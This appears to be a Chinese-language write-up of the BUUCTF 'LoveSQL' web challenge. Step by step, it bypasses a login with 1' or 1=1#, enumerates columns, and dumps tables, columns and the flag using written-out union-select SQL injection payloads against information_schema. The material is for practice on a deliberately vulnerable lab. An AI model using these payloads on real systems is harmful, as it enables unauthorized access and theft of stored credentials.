BUUCTF-Web-[极客大挑战 2019]LoveSQL1

解题步骤

1、观察题目,有登录框,要输入用户名和密码

2、先尝试输入用户名为 admin,密码用万能密码 1' or 1=1#,显示登录成功,回显出一串字符

3、问了AI,可能是MD5码,尝试解密,结果失败,继续使用SQL注入的一般思路解题

4、首先用order by判断字段数,尝试到4时报错,说明有3个字段

5、使用联合注入语法知识,用union select进行联合查询判断注入点,继续构造payload:

username=admin'union select 1,2,3#&password=123

发现可以在2和3的位置进行注入

6、查询数据库和版本,用户名输入:

a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- a

得到2个table名称geekuser和l0ve1ysq1,flag在第二个表中

7、获取l0ve1ysq1表的全部字段,username输入:

a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 -- a

拿到 3 个字段 id,username,password,flag 就在 password 字段中

8、查询l0ve1ysq1 表的 password 字段,获取 flag,用户名输入:

a' union select 1,(select group_concat(password) from l0ve1ysq1),3 -- a

右键检查源代码获取flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值